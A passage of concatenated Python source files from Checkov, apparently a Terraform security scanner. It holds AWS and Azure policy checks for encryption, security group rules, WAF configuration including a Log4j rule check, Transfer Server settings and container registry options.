SecretManagerSecretEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure that Secrets Manager secret is encrypted using KMS CMK" id = "CKV_AWS_149" supported_resources = ["aws_secretsmanager_secret"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: aws_kms_alias = 'aws/' kms_key_id = force_list(conf.get('kms_key_id', [])) if not kms_key_id or not kms_key_id[0]: return CheckResult.FAILED else: return CheckResult.FAILED if aws_kms_alias in kms_key_id[0] else CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['kms_key_id'] check = SecretManagerSecretEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SecurityGroupRuleDescription(BaseResourceCheck): def __init__(self): name = "Ensure every security group and rule has a description" id = "CKV_AWS_23" supported_resource = [ 'aws_security_group', 'aws_security_group_rule', 'aws_db_security_group', 'aws_elasticache_security_group', 'aws_redshift_security_group', 'aws_vpc_security_group_egress_rule', 'aws_vpc_security_group_ingress_rule' ] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf): """ Looks for description at security group rules : https://www.terraform.io/docs/providers/aws/r/security_group.html :param conf: aws_security_group configuration :return: """ group_result = self.check_rule(rule_type='group_or_rule_description', conf=conf) if 'type' not in conf.keys(): # 'type' attribute only exists and is required for aws_security_group_rule resources. # Therefore, only if 'type' is not present, ingress and egress blocks must be checked in the resource. egress_result = self.check_rule(rule_type='egress', conf=conf) ingress_result = self.check_rule(rule_type='ingress', conf=conf) if group_result == CheckResult.PASSED and egress_result == CheckResult.PASSED and ingress_result == CheckResult.PASSED: return CheckResult.PASSED return CheckResult.FAILED return group_result def check_rule(self, rule_type, conf): if rule_type == 'group_or_rule_description': if 'description' in conf.keys(): self.evaluated_keys = ['description'] if conf['description']: return CheckResult.PASSED return CheckResult.FAILED if rule_type in conf.keys(): for rule in conf[rule_type]: if isinstance(rule, dict) and ('description' not in rule.keys() or not rule['description']): self.evaluated_keys.append(f'{rule_type}/[{conf[rule_type].index(rule)}]') return CheckResult.FAILED return CheckResult.PASSED check = SecurityGroupRuleDescription() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py ================================================ from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedEgress import\ AbsSecurityGroupUnrestrictedEgress class SecurityGroupUnrestrictedEgressAll(AbsSecurityGroupUnrestrictedEgress): def __init__(self): super().__init__(check_id="CKV_AWS_382", port=-1) check = SecurityGroupUnrestrictedEgressAll() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_24", port=22) check = SecurityGroupUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py ================================================ from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_25", port=3389) check = SecurityGroupUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py ================================================ from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress80(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_260", port=80) check = SecurityGroupUnrestrictedIngress80() ================================================ FILE: checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py ================================================ from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import\ AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngressAll(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_277", port=-1) check = SecurityGroupUnrestrictedIngressAll() ================================================ FILE: checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class SesConfigurationSetDefinesTLS(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure SES Configuration Set enforces TLS usage" id = "CKV_AWS_365" supported_resources = ['aws_ses_configuration_set'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "delivery_options/[0]/tls_policy" def get_expected_value(self) -> str: return "Require" check = SesConfigurationSetDefinesTLS() ================================================ FILE: checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class StateMachineLoggingExecutionHistory(BaseResourceValueCheck): def __init__(self): name = "Ensure State Machine has execution history logging enabled" id = "CKV_AWS_285" supported_resources = ['aws_sfn_state_machine'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "logging_configuration/[0]/include_execution_data" check = StateMachineLoggingExecutionHistory() ================================================ FILE: checkov/terraform/checks/resource/aws/StateMachineXray.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class StateMachineXray(BaseResourceValueCheck): def __init__(self): name = "Ensure State Machine has X-Ray tracing enabled" id = "CKV_AWS_284" supported_resources = ['aws_sfn_state_machine'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "tracing_configuration/[0]/enabled" check = StateMachineXray() ================================================ FILE: checkov/terraform/checks/resource/aws/SubnetPublicIP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SubnetPublicIP(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure VPC subnets do not assign public IP by default" id = "CKV_AWS_130" supported_resources = ['aws_subnet'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_forbidden_values(self): return [True] def get_inspected_key(self): return "map_public_ip_on_launch" check = SubnetPublicIP() ================================================ FILE: checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class TimestreamDatabaseKMSKey(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Timestream database is encrypted with KMS CMK" id = "CKV_AWS_160" supported_resources = ["aws_timestreamwrite_database"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = TimestreamDatabaseKMSKey() ================================================ FILE: checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py ================================================ from __future__ import annotations from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class TransferServerAllowsOnlySecureProtocols(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Transfer Server allows only secure protocols" id = "CKV_AWS_357" supported_resources = ("aws_transfer_server",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): protocols = conf.get("protocols") if protocols and isinstance(protocols, list): if "FTP" in protocols[0]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["protocols"] check = TransferServerAllowsOnlySecureProtocols() ================================================ FILE: checkov/terraform/checks/resource/aws/TransferServerIsPublic.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class TransferServerIsPublic(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Transfer Server is not exposed publicly." id = "CKV_AWS_164" supported_resources = ("aws_transfer_server",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "endpoint_type" def get_expected_values(self) -> list[Any]: return ["VPC", "VPC_ENDPOINT"] check = TransferServerIsPublic() ================================================ FILE: checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py ================================================ from datetime import datetime from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class TransferServerLatestPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS Transfer Server uses latest Security Policy" id = "CKV_AWS_380" supported_resources = ('aws_transfer_server',) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def __check_policy_date(self, policy_string: str) -> bool: # Extract the year and month from the policy string # We assume that the year and month appear in the format 'YYYY-MM' # Split the string based on the '-' separator parts = policy_string.split('-') # Loop through the parts and check for the first valid year-month pair for i in range(len(parts) - 1): # Try to form a year-month date from consecutive parts year = parts[i] month = parts[i + 1] try: # If both year and month are integers and valid, create the date policy_date = datetime(int(year), int(month), 1) break except ValueError: continue else: # If no valid year-month combination is found, raise an error raise ValueError("No valid date found in the policy string.") # Get the current date current_date = datetime.now() # Calculate the time difference in months years_diff = current_date.year - policy_date.year months_diff = current_date.month - policy_date.month total_months_diff = years_diff * 12 + months_diff # If the difference is more than or equal to 24 months, return False return total_months_diff < 24 def scan_resource_conf(self, conf: any) -> CheckResult: """ Makes sure the Security Policy is no older than 2 years """ security_policy = conf.get('security_policy_name') if security_policy: if self.__check_policy_date(security_policy[0]): return CheckResult.PASSED return CheckResult.FAILED # default is TransferSecurityPolicy-2018-11 which is old: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/transfer_server def get_evaluated_keys(self) -> List[str]: return ["security_policy_name"] check = TransferServerLatestPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class UnpatchedAuroraPostgresDB(BaseResourceCheck): def __init__(self): name = "Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability" id = "CKV_AWS_388" supported_resources = ['aws_db_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'engine' in conf and 'aurora-postgresql' in conf['engine']: if 'engine_version' in conf and conf['engine_version'][0] in ['10.11', '10.12', '10.13', '11.6', '11.7', '11.8']: self.evaluated_keys = ['engine', 'engine-version'] return CheckResult.FAILED return CheckResult.PASSED check = UnpatchedAuroraPostgresDB() ================================================ FILE: checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class VPCDefaultNetwork(BaseResourceCheck): def __init__(self) -> None: name = "Ensure no default VPC is planned to be provisioned" id = "CKV_AWS_148" supported_resources = ("aws_default_vpc",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ Checks if there is any attempt to create a default VPC configuration : https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc :param conf: aws_default_vpc configuration :return: """ return CheckResult.FAILED check = VPCDefaultNetwork() ================================================ FILE: checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class VPCEndpointAcceptanceConfigured(BaseResourceValueCheck): def __init__(self): name = "Ensure that VPC Endpoint Service is configured for Manual Acceptance" id = "CKV_AWS_123" supported_resources = ['aws_vpc_endpoint_service'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'acceptance_required' check = VPCEndpointAcceptanceConfigured() ================================================ FILE: checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class WAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AWS_192" supported_resources = ["aws_wafv2_web_acl"] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["rule"] rules = conf.get("rule") or [] for idx_rule, rule in enumerate(force_list(rules)): self.evaluated_keys = [f"rule/[{idx_rule}]/statement"] statement = rule.get("statement") if statement: self.evaluated_keys = [f"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement"] if not isinstance(statement, list) or not isinstance(statement[0], dict): return CheckResult.UNKNOWN managed_group = statement[0].get("managed_rule_group_statement") if managed_group: self.evaluated_keys = [f"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/name"] if managed_group[0] and managed_group[0].get("name") == ["AWSManagedRulesKnownBadInputsRuleSet"]: self.evaluated_keys.append( f"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/excluded_rule" ) excluded_rules = managed_group[0].get("excluded_rule") or [] # rule 'Log4JRCE' should not be set to count for idx_excluded_rule, excluded_rule in enumerate(force_list(excluded_rules)): if excluded_rule and excluded_rule.get("name") == ["Log4JRCE"]: self.evaluated_keys = [ f"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/name", f"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/excluded_rule/[{idx_excluded_rule}]/name", ] return CheckResult.FAILED self.evaluated_keys.append( f"rule/[{idx_rule}]/override_action/[0]/none" ) override_action = rule.get("override_action") # check for group override override_action_none = override_action[0].get("none") # Terraform plan includes both keys, but one is a dict and the not chosen one a list if not override_action_none or not isinstance(override_action_none[0], dict): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = WAFACLCVE202144228() ================================================ FILE: checkov/terraform/checks/resource/aws/WAFEnabled.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WAFEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "CloudFront Distribution should have WAF enabled" id = "CKV_AWS_68" supported_resources = ["aws_cloudfront_distribution"] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "web_acl_id" def get_expected_values(self) -> List[Any]: return [ANY_VALUE] check = WAFEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/WAFHasAnyRules.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class WAFHasAnyRules(BaseResourceCheck): def __init__(self): name = "Ensure WAF has associated rules" id = "CKV_AWS_175" supported_resources = ['aws_waf_web_acl', 'aws_wafregional_web_acl', 'aws_wafv2_web_acl'] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if "rules" in conf.keys() and conf["rules"] != [{}]: return CheckResult.PASSED if "rule" in conf.keys() and conf["rule"] != [{}]: return CheckResult.PASSED return CheckResult.FAILED check = WAFHasAnyRules() ================================================ FILE: checkov/terraform/checks/resource/aws/WAFHasLogs.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class WAFHasLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Logging is enabled for WAF Web Access Control Lists" id = "CKV_AWS_176" supported_resources = ('aws_waf_web_acl', 'aws_wafregional_web_acl') categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'logging_configuration/[0]/log_destination' def get_expected_value(self) -> Any: return ANY_VALUE check = WAFHasLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class WAFRuleHasAnyActions(BaseResourceCheck): def __init__(self) -> None: name = "Ensure WAF rule has any actions" id = "CKV_AWS_342" supported_resources = ('aws_waf_web_acl', 'aws_wafregional_web_acl', 'aws_wafv2_web_acl', 'aws_wafv2_rule_group', 'aws_wafregional_rule_group', 'aws_waf_rule_group') categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: rules = None if conf.get("rule") and isinstance(conf["rule"], list): rules = conf["rule"] # don't blame me I didn't name one rule and the other rules and the other activated_rule elif conf.get("rules") and isinstance(conf["rules"], list): rules = conf["rules"] elif conf.get("activated_rule") and isinstance(conf["activated_rule"], list): rules = conf["activated_rule"] if isinstance(rules, list): for rule in rules: passing = False if "action" in rule and rule['action'] != [{}]: passing = True if "override_action" in rule and rule['override_action'] != [{}]: passing = True statements = rule.get('statement') if statements and isinstance(statements, list): for statement in statements: if not isinstance(statement, dict): continue if statement.get('managed_rule_group_statement'): passing = True if not passing: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return [ "rule", "rules", "activated_rule", ] check = WAFRuleHasAnyActions() ================================================ FILE: checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WorkspaceRootVolumeEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that Workspace root volumes are encrypted" id = "CKV_AWS_156" supported_resources = ['aws_workspaces_workspace'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'root_volume_encryption_enabled' def get_expected_value(self): return True check = WorkspaceRootVolumeEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WorkspaceUserVolumeEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that Workspace user volumes are encrypted" id = "CKV_AWS_155" supported_resources = ['aws_workspaces_workspace'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'user_volume_encryption_enabled' def get_expected_value(self): return True check = WorkspaceUserVolumeEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from typing import List, Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ACRAdminAccountDisabled(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure ACR admin account is disabled" id = "CKV_AZURE_137" supported_resources = ['azurerm_container_registry'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "admin_enabled" def get_forbidden_values(self) -> List[Any]: return [True] check = ACRAdminAccountDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ACRAnonymousPullDisabled(BaseResourceCheck): ANONYMOUS_PULL_SKUS = {"Standard", "Premium"} # noqa: CCE003 # a static attribute def __init__(self): name = "Ensures that ACR disables anonymous pulling of images" id = "CKV_AZURE_138" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # anonymous_pull_enabled only applies to Standard and Premium skus, by default is set to false if ( "sku" in conf.keys() and isinstance(conf["sku"][0], str) and conf["sku"][0] in ACRAnonymousPullDisabled.ANONYMOUS_PULL_SKUS and "anonymous_pull_enabled" in conf.keys() and conf["anonymous_pull_enabled"][0] ): self.evaluated_keys = ["sku", "anonymous_pull_enabled"] return CheckResult.FAILED return CheckResult.PASSED check = ACRAnonymousPullDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ACRContainerScanEnabled(BaseResourceCheck): SKUS = {"Standard", "Premium"} # noqa: CCE003 # a static attribute def __init__(self): name = "Enable vulnerability scanning for container images." id = "CKV_AZURE_163" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # 'ContainerRegistry' tier # 'standard', or higher - # not Basic if ( "sku" in conf.keys() and isinstance(conf["sku"][0], str) and conf["sku"][0] in ACRContainerScanEnabled.SKUS ): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["sku"] check = ACRContainerScanEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ACRDedicatedDataEndpointEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure dedicated data endpoints are enabled." id = "CKV_AZURE_237" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "data_endpoint_enabled" check = ACRDedicatedDataEndpointEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ACREnableImageQuarantine(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure container image quarantine, scan, and mark images verified" id = "CKV_AZURE_166" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "quarantine_policy_enabled" check = ACREnableImageQuarantine() ================================================ FILE: checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ACREnableRetentionPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure a retention policy is set to cleanup untagged manifests." id = "CKV_AZURE_167" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'retention_policy_in_days' in conf: return CheckResult.PASSED if 'retention_policy' in conf: retention_policy = conf['retention_policy'][0] if isinstance(retention_policy, dict) and retention_policy.get('enabled') == [True]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['retention_policy_in_days', 'retention_policy/enabled'] check = ACREnableRetentionPolicy() ================================================ FILE: checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import Any class ACREnableZoneRedundancy(BaseResourceCheck): def __init__(self) -> None: """ Zone redundancy provides resiliency and high availability to a registry or replication resource in a specific region. Supported on Premium. """ name = "Ensure Azure Container Registry (ACR) is zone redundant" id = "CKV_AZURE_233" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # check registry. default=false self.evaluated_keys = ["zone_redundancy_enabled"] if conf.get("zone_redundancy_enabled", []) != [True]: return CheckResult.FAILED # check each replica. default=false replications = conf.get("georeplications", {}) for idx, replica in enumerate(replications): zone_redundancy_enabled = replica.get('zone_redundancy_enabled', []) if zone_redundancy_enabled != [True]: self.evaluated_keys.append(f"georeplications/[{idx}]/zone_redundancy_enabled") return CheckResult.FAILED return CheckResult.PASSED check = ACREnableZoneRedundancy() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRGeoreplicated.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ACRGeoreplicated(BaseResourceCheck): def __init__(self) -> None: # Check to see the sku is set to premium with any replication block set name = "Ensure geo-replicated container registries to match multi-region container deployments." id = "CKV_AZURE_165" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: sku = conf.get("sku") if sku == ["Premium"]: replication = conf.get("georeplications") if replication: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['sku', 'georeplications'] check = ACRGeoreplicated() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ACRPublicNetworkAccessDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure ACR set to disable public networking" id = "CKV_AZURE_139" supported_resources = ['azurerm_container_registry'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self): return False check = ACRPublicNetworkAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/ACRUseSignedImages.py ================================================ from __future__ import annotations from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class ACRUseSignedImages(BaseResourceCheck): def __init__(self): # IN ARM - Set properties.policies.trustPolicy.status to enabled, set # properties.policies.trustPolicy.type to Notary # This is the default behaviour by the tf provider when the trust policy is enabled name = "Ensures that ACR uses signed/trusted images" id = "CKV_AZURE_164" supported_resources = ("azurerm_container_registry",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'trust_policy_enabled' in conf: trust_policy_enabled = conf.get('trust_policy_enabled') if isinstance(trust_policy_enabled, list) and trust_policy_enabled == [True]: return CheckResult.PASSED if 'trust_policy' in conf: trust_policy = conf['trust_policy'][0] if isinstance(trust_policy, dict) and trust_policy.get('enabled') == [True]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['trust_policy_enabled', 'trust_policy/enabled'] check = ACRUseSignedImages() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSApiServerAuthorizedIpRanges(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AKS has an API Server Authorized IP Ranges enabled" id = "CKV_AZURE_6" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "api_server_access_profile/[0]/authorized_ip_ranges/[0]" def get_expected_value(self) -> Any: return ANY_VALUE def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # can't be set for private cluster private_cluster_enabled = conf.get("private_cluster_enabled", [False])[0] if private_cluster_enabled: return CheckResult.PASSED # provider version <=3.38.0 api_server = conf.get("api_server_authorized_ip_ranges") if api_server and isinstance(api_server, list) and api_server[0]: return CheckResult.PASSED return super().scan_resource_conf(conf) check = AKSApiServerAuthorizedIpRanges() 